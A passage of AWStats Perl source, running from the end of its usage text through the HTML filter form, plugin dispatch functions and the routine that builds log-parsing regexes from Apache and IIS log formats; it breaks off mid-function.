" -lang=LL to output a HTML report in language LL (en,de,es,fr,it,nl,...)\n";
print " -month=MM to output a HTML report for an old month MM\n";
print " -year=YYYY to output a HTML report for an old year YYYY\n";
print
" The 'date' options doesn't allow you to process old log file. They only\n";
print
" allow you to see a past report for a chosen month/year period instead of\n";
print " current month/year.\n";
print "\n";
print "Other options:\n";
print
" -debug=X to add debug informations lesser than level X (speed reduced)\n";
print
" -version show AWStats version\n";
print "\n";
print "Now supports/detects:\n";
print
" Web/Ftp/Mail/streaming server log analyzis (and load balanced log files)\n";
print " Reverse DNS lookup (IPv4 and IPv6) and GeoIP lookup\n";
print " Number of visits, number of unique visitors\n";
print " Visits duration and list of last visits\n";
print " Authenticated users\n";
print " Days of week and rush hours\n";
print " Hosts list and unresolved IP addresses list\n";
print " Most viewed, entry and exit pages\n";
print " Files type and Web compression (mod_gzip, mod_deflate stats)\n";
print " Screen size\n";
print " Ratio of Browsers with support of: Java, Flash, RealG2 reader,\n";
print " Quicktime reader, WMA reader, PDF reader\n";
print " Configurable personalized reports\n";
print " " . ( scalar keys %DomainsHashIDLib ) . " domains/countries\n";
print " " . ( scalar keys %RobotsHashIDLib ) . " robots\n";
print " " . ( scalar keys %WormsHashLib ) . " worm's families\n";
print " " . ( scalar keys %OSHashLib ) . " operating systems\n";
print " " . ( scalar keys %BrowsersHashIDLib ) . " browsers";
&Read_Ref_Data('browsers_phone');
print " ("
. ( scalar keys %BrowsersHashIDLib )
. " with phone browsers database)\n";
print " "
. ( scalar keys %SearchEnginesHashLib )
. " search engines (and keyphrases/keywords used from them)\n";
print " All HTTP errors with last referrer\n";
print " Report by day/month/year\n";
print " Dynamic or static HTML or XHTML reports, static PDF reports\n";
print " Indexed text or XML monthly database\n";
print " And a lot of other advanced features and options...\n";
print "New versions and FAQ at http://www.awstats.org\n";
}
#------------------------------------------------------------------------------
# Function: Return the string to add in html tag to include popup javascript code
# Parameters: tooltip number
# Input: None
# Output: None
# Return: string with javascript code
#------------------------------------------------------------------------------
sub Tooltip {
my $ttnb = shift;
return (
$TOOLTIPON
? " onmouseover=\"ShowTip($ttnb);\" onmouseout=\"HideTip($ttnb);\""
: ""
);
}
#------------------------------------------------------------------------------
# Function: Insert a form filter
# Parameters: Name of filter field, default for filter field, default for exclude filter field
# Input: $StaticLinks, $QueryString, $SiteConfig, $DirConfig
# Output: HTML Form
# Return: None
#------------------------------------------------------------------------------
sub HTMLShowFormFilter {
my $fieldfiltername = shift;
my $fieldfilterinvalue = shift;
my $fieldfilterexvalue = shift;
if ( !$StaticLinks ) {
my $NewLinkParams = ${QueryString};
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i;
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
$NewLinkParams =~ s/(&|&)+/&/i;
$NewLinkParams =~ s/^&//;
$NewLinkParams =~ s/&$//;
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
print "\n<form name=\"FormFilter\" action=\""
. XMLEncode("$AWScript${NewLinkParams}")
. "\" class=\"aws_border\">\n";
print
"<table valign=\"middle\" width=\"99%\" border=\"0\" cellspacing=\"0\" cellpadding=\"2\"><tr>\n";
print "<td align=\"left\" width=\"50\">$Message[79] :</td>\n";
print
"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}\" value=\"$fieldfilterinvalue\" class=\"aws_formfield\" /></td>\n";
print "<td> </td>";
print "<td align=\"left\" width=\"100\">$Message[153] :</td>\n";
print
"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}ex\" value=\"$fieldfilterexvalue\" class=\"aws_formfield\" /></td>\n";
print "<td>";
print "<input type=\"hidden\" name=\"output\" value=\""
. join( ',', keys %HTMLOutput )
. "\" />\n";
if ($SiteConfig) {
print
"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n";
}
if ($DirConfig) {
print
"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n";
}
if ( $QueryString =~ /(^|&|&)year=(\d\d\d\d)/i ) {
print "<input type=\"hidden\" name=\"year\" value=\"$2\" />\n";
}
if ( $QueryString =~ /(^|&|&)month=(\d\d)/i
|| $QueryString =~ /(^|&|&)month=(all)/i )
{
print "<input type=\"hidden\" name=\"month\" value=\"$2\" />\n";
}
if ( $QueryString =~ /(^|&|&)lang=(\w+)/i ) {
print "<input type=\"hidden\" name=\"lang\" value=\"$2\" />\n";
}
if ( $QueryString =~ /(^|&|&)debug=(\d+)/i ) {
print "<input type=\"hidden\" name=\"debug\" value=\"$2\" />\n";
}
if ( $QueryString =~ /(^|&|&)framename=(\w+)/i ) {
print "<input type=\"hidden\" name=\"framename\" value=\"$2\" />\n";
}
if ( $QueryString =~ /(^|&|&)databasebreak=(\w+)/i) {
print "<input type=\"hidden\" name=\"databasebreak\" value=\"$2\" />\n";
}
if ( $QueryString =~ /(^|&|&)day=(\d\d)/i) {
print "<input type=\"hidden\" name=\"day\" value=\"$2\" />\n";
}
if ( $QueryString =~ /(^|&|&)hour=(\d\d)/i) {
print "<input type=\"hidden\" name=\"hour\" value=\"$2\" />\n";
}
print
"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" /></td>\n";
print "<td> </td>";
print "</tr></table>\n";
print "</form>\n";
print "<br />\n";
print "\n";
}
}
#------------------------------------------------------------------------------
# Function: Write other user info (with help of plugin)
# Parameters: $user
# Input: $SiteConfig
# Output: URL link
# Return: None
#------------------------------------------------------------------------------
sub HTMLShowUserInfo {
my $user = shift;
# Call to plugins' function ShowInfoUser
foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoUser'} } ) {
# my $function="ShowInfoUser_$pluginname('$user')";
# eval("$function");
my $function = "ShowInfoUser_$pluginname";
&$function($user);
}
}
#------------------------------------------------------------------------------
# Function: Write other cluster info (with help of plugin)
# Parameters: $clusternb
# Input: $SiteConfig
# Output: Cluster info
# Return: None
#------------------------------------------------------------------------------
sub HTMLShowClusterInfo {
my $cluster = shift;
# Call to plugins' function ShowInfoCluster
foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoCluster'} } )
{
# my $function="ShowInfoCluster_$pluginname('$user')";
# eval("$function");
my $function = "ShowInfoCluster_$pluginname";
&$function($cluster);
}
}
#------------------------------------------------------------------------------
# Function: Write other host info (with help of plugin)
# Parameters: $host
# Input: $LinksToWhoIs $LinksToWhoIsIp
# Output: None
# Return: None
#------------------------------------------------------------------------------
sub HTMLShowHostInfo {
my $host = shift;
# Call to plugins' function ShowInfoHost
foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoHost'} } ) {
# my $function="ShowInfoHost_$pluginname('$host')";
# eval("$function");
my $function = "ShowInfoHost_$pluginname";
&$function($host);
}
}
#------------------------------------------------------------------------------
# Function: Write other url info (with help of plugin)
# Parameters: $url
# Input: %Aliases $MaxLengthOfShownURL $ShowLinksOnUrl $SiteDomain $UseHTTPSLinkForUrl
# Output: URL link
# Return: None
#------------------------------------------------------------------------------
sub HTMLShowURLInfo {
my $url = shift;
my $nompage = CleanXSS($url);
# Call to plugins' function ShowInfoURL
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowInfoURL'} } ) {
# my $function="ShowInfoURL_$pluginname('$url')";
# eval("$function");
my $function = "ShowInfoURL_$pluginname";
&$function($url);
}
if ( length($nompage) > $MaxLengthOfShownURL ) {
$nompage = substr( $nompage, 0, $MaxLengthOfShownURL ) . "...";
}
if ($ShowLinksOnUrl) {
my $newkey = CleanXSS($url);
if ( $LogType eq 'W' || $LogType eq 'S' ) { # Web or streaming log file
if ( $newkey =~ /^http(s|):/i )
{ # URL seems to be extracted from a proxy log file
print "<a href=\""
. XMLEncode("$newkey")
. "\" target=\"url\" rel=\"nofollow noopener noreferrer\">"
. XMLEncode($nompage) . "</a>";
}
elsif ( $newkey =~ /^\// )
{ # URL seems to be an url extracted from a web or wap server log file
$newkey =~ s/^\/$SiteDomain//i;
# Define urlprot
my $urlprot = 'http';
if ( $UseHTTPSLinkForUrl && $newkey =~ /^$UseHTTPSLinkForUrl/ )
{
$urlprot = 'https';
}
print "<a href=\""
. XMLEncode("$urlprot://$SiteDomain$newkey")
. "\" target=\"url\" rel=\"nofollow noopener noreferrer\">"
. XMLEncode($nompage) . "</a>";
}
else {
print XMLEncode($nompage);
}
}
elsif ( $LogType eq 'F' ) { # Ftp log file
print XMLEncode($nompage);
}
elsif ( $LogType eq 'M' ) { # Smtp log file
print XMLEncode($nompage);
}
else { # Other type log file
print XMLEncode($nompage);
}
}
else {
print XMLEncode($nompage);
}
}
#------------------------------------------------------------------------------
# Function: Define value for PerlParsingFormat (used for regex log record parsing)
# Parameters: $LogFormat
# Input: -
# Output: $pos_xxx, @pos_extra, @fieldlib, $PerlParsingFormat
# Return: -
#------------------------------------------------------------------------------
sub DefinePerlParsingFormat {
my $LogFormat = shift;
$pos_vh = $pos_host = $pos_logname = $pos_date = $pos_tz = $pos_method =
$pos_url = $pos_code = $pos_size = -1;
$pos_referer = $pos_agent = $pos_query = $pos_gzipin = $pos_gzipout =
$pos_compratio = -1;
$pos_cluster = $pos_emails = $pos_emailr = $pos_hostr = -1;
@pos_extra = ();
@fieldlib = ();
$PerlParsingFormat = '';
# Log records examples:
# Apache combined: 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "GET / HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
# Apache combined (408 error): my.domain.com - user [09/Jan/2001:11:38:51 -0600] "OPTIONS /mime-tmp/xxx file.doc HTTP/1.1" 408 - "-" "-"
# Apache combined (408 error): 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "-" 408 - "-" "-"
# Apache combined (400 error): 80.8.55.11 - - [28/Apr/2007:03:20:02 +0200] "GET /" 400 584 "-" "-"
# IIS: 2000-07-19 14:14:14 62.161.78.73 - GET / 200 1234 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.htm
# WebStar: 05/21/00 00:17:31 OK 200 212.242.30.6 Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) http://www.cover.dk/ "www.cover.dk" :Documentation:graphics:starninelogo.white.gif 1133
# Squid extended: 12.229.91.170 - - [27/Jun/2002:03:30:50 -0700] "GET http://www.callistocms.com/images/printable.gif HTTP/1.1" 304 354 "-" "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0" TCP_REFRESH_HIT:DIRECT
# Log formats:
# Apache common_with_mod_gzip_info1: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_compression_ratio}npct.
# Apache common_with_mod_gzip_info2: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_result}n In:%{mod_gzip_input_size}n Out:%{mod_gzip_output_size}n:%{mod_gzip_compression_ratio}npct.
# Apache deflate: %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" (%{ratio}n)
if ($Debug) {
debug(
"Call To DefinePerlParsingFormat (LogType='$LogType', LogFormat='$LogFormat')"
);
}
if ( $LogFormat =~ /^[1-6]$/ ) { # Pre-defined log format
if ( $LogFormat eq '1' || $LogFormat eq '6' )
{ # Same than "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"".
# %u (user) is "([^\\/\\[]+)" instead of "[^ ]+" because can contain space (Lotus Notes). referer and ua might be "".
# $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
$PerlParsingFormat =
"([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
$pos_host = 0;
$pos_logname = 1;
$pos_date = 2;
$pos_method = 3;
$pos_url = 4;
$pos_code = 5;
$pos_size = 6;
$pos_referer = 7;
$pos_agent = 8;
@fieldlib = (
'host', 'logname', 'date', 'method', 'url', 'code',
'size', 'referer', 'ua'
);
}
elsif ( $LogFormat eq '2' )
{ # Same than "date time c-ip cs-username cs-method cs-uri-stem sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)"
$PerlParsingFormat =
"(\\S+ \\S+) (\\S+) (\\S+) (\\S+) (\\S+) ([\\d|-]+) ([\\d|-]+) \\S+ (\\S+) (\\S+)";
$pos_date = 0;
$pos_host = 1;
$pos_logname = 2;
$pos_method = 3;
$pos_url = 4;
$pos_code = 5;
$pos_size = 6;
$pos_agent = 7;
$pos_referer = 8;
@fieldlib = (
'date', 'host', 'logname', 'method', 'url', 'code',
'size', 'ua', 'referer'
);
}
elsif ( $LogFormat eq '3' ) {
$PerlParsingFormat =
"([^\\t]*\\t[^\\t]*)\\t([^\\t]*)\\t([\\d|-]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t[^\\t]*\\t([^\\t]*)\\t([\\d]*)";
$pos_date = 0;
$pos_method = 1;
$pos_code = 2;
$pos_host = 3;
$pos_agent = 4;
$pos_referer = 5;
$pos_url = 6;
$pos_size = 7;
@fieldlib = (
'date', 'method', 'code', 'host',
'ua', 'referer', 'url', 'size'
);
}
elsif ( $LogFormat eq '4' ) { # Same than "%h %l %u %t \"%r\" %>s %b"
# %u (user) is "(.+)" instead of "[^ ]+" because can contain space (Lotus Notes).
# Sample: 10.100.10.45 - BMAA\will.smith [01/Jul/2013:07:17:28 +0200] "GET /Download/__Omnia__Aus- und Weiterbildung__Konsular- und Verwaltungskonferenz, Programm.doc HTTP/1.1" 200 9076810
# $PerlParsingFormat =
#"([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+)";
$PerlParsingFormat =
"([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+)";
$pos_host = 0;
$pos_logname = 1;
$pos_date = 2;
$pos_method = 3;
$pos_url = 4;
$pos_code = 5;
$pos_size = 6;
@fieldlib =
( 'host', 'logname', 'date', 'method', 'url', 'code', 'size' );
}
}
else { # Personalized log format
my $LogFormatString = $LogFormat;
# Replacement for Notes format string that are not Apache
$LogFormatString =~ s/%vh/%virtualname/g;
# Replacement for Apache format string
$LogFormatString =~ s/%v(\s)/%virtualname$1/g;
$LogFormatString =~ s/%v$/%virtualname/g;
$LogFormatString =~ s/%h(\s)/%host$1/g;
$LogFormatString =~ s/%h$/%host/g;
$LogFormatString =~ s/%l(\s)/%other$1/g;
$LogFormatString =~ s/%l$/%other/g;
$LogFormatString =~ s/\"%u\"/%lognamequot/g;
$LogFormatString =~ s/%u(\s)/%logname$1/g;
$LogFormatString =~ s/%u$/%logname/g;
$LogFormatString =~ s/%t(\s)/%time1$1/g;
$LogFormatString =~ s/%t$/%time1/g;
$LogFormatString =~ s/\"%r\"/%methodurl/g;
$LogFormatString =~ s/%>s/%code/g;
$LogFormatString =~ s/%b(\s)/%bytesd$1/g;
$LogFormatString =~ s/%b$/%bytesd/g;
$LogFormatString =~ s/\"%\{Referer}i\"/%refererquot/g;
$LogFormatString =~ s/\"%\{User-Agent}i\"/%uaquot/g;
$LogFormatString =~ s/%\{mod_gzip_input_size}n/%gzipin/g;
$LogFormatString =~ s/%\{mod_gzip_output_size}n/%gzipout/g;
$LogFormatString =~ s/%\{mod_gzip_compression_ratio}n/%gzipratio/g;
$LogFormatString =~ s/\(%\{ratio}n\)/%deflateratio/g;
# Replacement for a IIS and ISA format string
$LogFormatString =~ s/cs-uri-query/%query/g; # Must be before cs-uri
$LogFormatString =~ s/date\stime/%time2/g;
$LogFormatString =~ s/c-ip/%host/g;
$LogFormatString =~ s/cs-username/%logname/g;
$LogFormatString =~ s/cs-method/%method/g; # GET, POST, SMTP, RETR STOR
$LogFormatString =~ s/cs-uri-stem/%url/g;
$LogFormatString =~ s/cs-uri/%url/g;
$LogFormatString =~ s/sc-status/%code/g;
$LogFormatString =~ s/sc-bytes/%bytesd/g;
$LogFormatString =~ s/cs-version/%other/g; # Protocol
$LogFormatString =~ s/cs\(User-Agent\)/%ua/g;
$LogFormatString =~ s/c-agent/%ua/g;
$LogFormatString =~ s/cs\(Referer\)/%referer/g;
$LogFormatString =~ s/cs-referred/%referer/g;
$LogFormatString =~ s/sc-authenticated/%other/g;
$LogFormatString =~ s/s-svcname/%other/g;
$LogFormatString =~ s/s-computername/%other/g;
$LogFormatString =~ s/r-host/%virtualname/g;
$LogFormatString =~ s/cs-host/%virtualname/g;
$LogFormatString =~ s/r-ip/%other/g;
$LogFormatString =~ s/r-port/%other/g;
$LogFormatString =~ s/time-taken/%other/g;
$LogFormatString =~ s/cs-bytes/%other/g;
$LogFormatString =~ s/cs-protocol/%other/g;
$LogFormatString =~ s/cs-transport/%other/g;
$LogFormatString =~
s/s-operation/%method/g; # GET, POST, SMTP, RETR STOR
$LogFormatString =~ s/cs-mime-type/%other/g;
$LogFormatString =~ s/s-object-source/%other/g;
$LogFormatString =~ s/s-cache-info/%other/g;
$LogFormatString =~ s/cluster-node/%cluster/g;
$LogFormatString =~ s/s-sitename/%other/g;
$LogFormatString =~ s/s-ip/%other/g;
$LogFormatString =~ s/s-port/%other/g;
$LogFormatString =~ s/cs\(Cookie\)/%other/g;
$LogFormatString =~ s/sc-substatus/%other/g;
$LogFormatString =~ s/sc-win32-status/%other/g;
# Added for MMS
$LogFormatString =~
s/protocol/%protocolmms/g; # cs-method might not be available
$LogFormatString =~
s/c-status/%codemms/g; # c-status used when sc-status not available
if ($Debug) { debug(" LogFormatString=$LogFormatString"); }
# $LogFormatString has an AWStats format, so we can generate PerlParsingFormat variable
my $i = 0;
my $LogSeparatorWithoutStar = $LogSeparator;
$LogSeparatorWithoutStar =~ s/[\*\+]//g;
foreach my $f ( split( /\s+/, $LogFormatString ) ) {
# Add separator for next field
if ($PerlParsingFormat) { $PerlParsingFormat .= "$LogSeparator"; }
# If field is prefixed with custom string, just push it to regex literally
if ( $f =~ /^([^%]+)%/ ) {
$PerlParsingFormat .= "$1"
}
# Special for logname
if ( $f =~ /%lognamequot$/ ) {
$pos_logname = $i;
$i++;
push @fieldlib, 'logname';
$PerlParsingFormat .=
"\\\"?([^\\\"]*)\\\"?"
; # logname can be "value", "" and - in same log (Lotus notes)
}
elsif ( $f =~ /%logname$/ ) {
$pos_logname = $i;
$i++;
push @fieldlib, 'logname';
# %u (user) is "([^\\/\\[]+)" instead of "[^$LogSeparatorWithoutStar]+" because can contain space (Lotus Notes).
$PerlParsingFormat .= "([^\\/\\[]+)";
}
# Date format
elsif ( $f =~ /%time1$/ || $f =~ /%time1b$/ )
{ # [dd/mmm/yyyy:hh:mm:ss +0000] or [dd/mmm/yyyy:hh:mm:ss], time1b kept for backward compatibility
$pos_date = $i;
$i++;
push @fieldlib, 'date';
$pos_tz = $i;
$i++;
push @fieldlib, 'tz';
$PerlParsingFormat .=
"\\[([^$LogSeparatorWithoutStar]+)( [^$LogSeparatorWithoutStar]+)?\\]";
}
elsif ( $f =~ /%time2$/ ) { # yyyy-mm-dd hh:mm:ss
$pos_date = $i;
$i++;
push @fieldlib, 'date';
$PerlParsingFormat .=
"([^$LogSeparatorWithoutStar]+\\s[^$LogSeparatorWithoutStar]+)"; # Need \s for Exchange log files
}
elsif ( $f =~ /%time3$/ )
{ # mon d hh:mm:ss or mon d hh:mm:ss or mon dd hh:mm:ss yyyy or day mon dd hh:mm:ss or day mon dd hh:mm:ss yyyy
$pos_date = $i;
$i++;
push @fieldlib, 'date';
$PerlParsingFormat .=
"(?:\\w\\w\\w )?(\\w\\w\\w \\s?\\d+ \\d\\d:\\d\\d:\\d\\d(?: \\d\\d\\d\\d)?)";
}
elsif ( $f =~ /%time4$/ ) { # ddddddddddddd
$pos_date = $i;
$i++;
push @fieldlib, 'date';
$PerlParsingFormat .= "(\\d+)";
}
elsif ( $f =~ /%time5$/ ) {
# Supports the following formats:
# - yyyy-mm-ddThh:mm:ss (Incomplete ISO 8601)
# - yyyy-mm-ddThh:mm:ssZ (ISO 8601, zero meridian)
# - yyyy-mm-ddThh:mm:ss+00:00 (ISO 8601)
# - yyyy-mm-ddThh:mm:ss+0000 (Apache's best approximation to ISO 8601 using "%{%Y-%m-%dT%H:%M:%S%z}t" in LogFormat)
# - yyyy-mm-ddThh:mm:ss.000000Z (Amazon AWS log files)
$pos_date = $i;
$i++;
push @fieldlib, 'date';
$pos_tz = $i;
$i++;
push @fieldlib, 'tz';
$PerlParsingFormat .=
"([^$LogSeparatorWithoutStar]+T[^$LogSeparatorWithoutStar]+)(Z|[-+\.]\\d\\d[:\\.\\dZ]*)?";
}
elsif ( $f =~ /%time6$/ ) { # dd/mm/yyyy, hh:mm:ss - added additional type to format for IIS date -DWG 12/8/2008
$pos_date = $i;
$i++;
push @fieldlib, 'date';
$PerlParsingFormat .= "([^,]+,[^,]+)";
}
# Special for methodurl, methodurlprot and methodurlnoprot
elsif ( $f =~ /%methodurl$/ ) {
$pos_method = $i;
$i++;
push @fieldlib, 'method';
$pos_url = $i;
$i++;
push @fieldlib, 'url';
$PerlParsingFormat .=
#"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+) [^\\\"]+\\\"";
"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)(?: [^\\\"]+|)\\\"";
}
elsif ( $f =~ /%methodurlprot$/ ) {
$pos_method = $i;
$i++;
push @fieldlib, 'method';
$pos_url = $i;
$i++;
push @fieldlib, 'url';
$PerlParsingFormat .=
"\\\"([^$LogSeparatorWithoutStar]+) ([^\\\"]+) ([^\\\"]+)\\\"";
}
elsif ( $f =~ /%methodurlnoprot$/ ) {
$pos_method = $i;
$i++;
push @fieldlib, 'method';
$pos_url = $i;
$i++;
push @fieldlib, 'url';
$PerlParsingFormat .=
"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)\\\"";
}
# Common command tags
elsif ( $f =~ /%virtualnamequot$/ ) {
$pos_vh = $i;
$i++;
push @fieldlib, 'vhost';
$PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+)\\\"";
}
elsif ( $f =~ /%virtualname$/ ) {
$pos_vh = $i;
$i++;
push @fieldlib, 'vhost';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%host_r$/ ) {
$pos_hostr = $i;
$i++;
push @fieldlib, 'hostr';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%host$/ ) {
$pos_host = $i;
$i++;
push @fieldlib, 'host';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%host_proxy$/ )
{ # if host_proxy tag used, host tag must not be used
$pos_host = $i;
$i++;
push @fieldlib, 'host';
$PerlParsingFormat .= "(.+?)(?:, .*)*";
}
elsif ( $f =~ /%method$/ ) {
$pos_method = $i;
$i++;
push @fieldlib, 'method';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%url$/ ) {
$pos_url = $i;
$i++;
push @fieldlib, 'url';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%query$/ ) {
$pos_query = $i;
$i++;
push @fieldlib, 'query';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%code$/ ) {
$pos_code = $i;
$i++;
push @fieldlib, 'code';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%bytesd$/ ) {
$pos_size = $i;
$i++;
push @fieldlib, 'size';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%refererquot$/ ) {
$pos_referer = $i;
$i++;
push @fieldlib, 'referer';
$PerlParsingFormat .=
"\\\"([^\\\"]*)\\\""; # referer might be ""
}
elsif ( $f =~ /%referer$/ ) {
$pos_referer = $i;
$i++;
push @fieldlib, 'referer';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%uaquot$/ ) {
$pos_agent = $i;
$i++;
push @fieldlib, 'ua';
$PerlParsingFormat .= "\\\"([^\\\"]*)\\\""; # ua might be ""
}
elsif ( $f =~ /%uabracket$/ ) {
$pos_agent = $i;
$i++;
push @fieldlib, 'ua';
$PerlParsingFormat .= "\\\[([^\\\]]*)\\\]"; # ua might be []
}
elsif ( $f =~ /%ua$/ ) {
$pos_agent = $i;
$i++;
push @fieldlib, 'ua';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%gzipin$/ ) {
$pos_gzipin = $i;
$i++;
push @fieldlib, 'gzipin';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%gzipout/ )
{ # Compare $f to /%gzipout/ and not to /%gzipout$/ like other fields
$pos_gzipout = $i;
$i++;
push @fieldlib, 'gzipout';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%gzipratio/ )
{ # Compare $f to /%gzipratio/ and not to /%gzipratio$/ like other fields
$pos_compratio = $i;
$i++;
push @fieldlib, 'gzipratio';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%deflateratio/ )
{ # Compare $f to /%deflateratio/ and not to /%deflateratio$/ like other fields
$pos_compratio = $i;
$i++;
push @fieldlib, 'deflateratio';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%email_r$/ ) {
$pos_emailr = $i;
$i++;
push @fieldlib, 'email_r';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%email$/ ) {
$pos_emails = $i;
$i++;
push @fieldlib, 'email';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%cluster$/ ) {
$pos_cluster = $i;
$i++;
push @fieldlib, 'clusternb';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
elsif ( $f =~ /%timetaken$/ ) {
$pos_timetaken = $i;
$i++;
push @fieldlib, 'timetaken';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
# Special for protocolmms, used for method if method not already found (for MMS)
elsif ( $f =~ /%protocolmms$/ ) {
if ( $pos_method < 0 ) {
$pos_method = $i;
$i++;
push @fieldlib, 'method';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
}
# Special for codemms, used for code only if code not already found (for MMS)
elsif ( $f =~ /%codemms$/ ) {
if ( $pos_code < 0 ) {
$pos_code = $i;
$i++;
push @fieldlib, 'code';
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
}
# Extra tag
elsif ( $f =~ /%extra(\d+)$/ ) {
$pos_extra[$1] = $i;
$i++;
push @fieldlib, "extra$1";
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
}
# Other tag
elsif ( $f =~ /%other$/ ) {
$PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
}
elsif ( $f =~ /%otherquot$/ ) {
$PerlParsingFormat .= "\\\"[^\\\"]*\\\"";
}
# Unknown tag (no parenthesis)
else {
$PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
}
}
if ( !$PerlParsingFormat ) {
error("No recognized format tag in personalized LogFormat string");
}
}
if ( $pos_host < 0 ) {
error(
"Your personalized LogFormat does not include all fields required by AWStats (Add \%host in your LogFormat string)."
);
}
if ( $pos_date < 0 ) {
error(
"Your personalized LogFormat does not include all fields required by AWStats (Add \%time1 or \%time2 in your LogFormat string)."
);
}
if ( $pos_method < 0 ) {
error(
"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%method in your LogFormat string)."
);
}
if ( $pos_url < 0 ) {
error(
"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%url in your LogFormat string)."
);
}
if ( $pos_code < 0 ) {
error(
"Your personalized LogFormat does not include all fields required by AWStats (Add \%code in your LogFormat string)."
);
}
# if ( $pos_size < 0 ) {
# error(
#"Your personalized LogFormat does not include all fields required by AWStats (Add \%bytesd in your LogFormat string)."
# );
# }
$PerlParsingFormat = qr/^$PerlParsingFormat/;
if ($Debug) { debug(" PerlParsingFormat is $PerlParsingFormat"); }
}
#------------------------------------------------------------------------------
# Function: Prints a menu category for the frame or static header
# Parameters: -
# Input: $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor,
# $NewLinkParams, $NewLinkTarget
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowMenuCateg {
my ( $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor,
$NewLinkParams, $NewLinkTarget )
= ( shift, shift, shift, shift, shift, shift, shift, shift );
$categicon = ''; # Comment this to enabme category icons
my ( $menu, $menulink, $menutext ) = ( shift, shift, shift );
my $linetitle = 0;
# Call to plugins' function AddHTMLMenuLink
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuLink'} } ) {
# my $function="AddHTMLMenuLink_$pluginname('$categ',\$menu,\$menulink,\$menutext)";
# eval("$function");
my $function = "AddHTMLMenuLink_$pluginname";
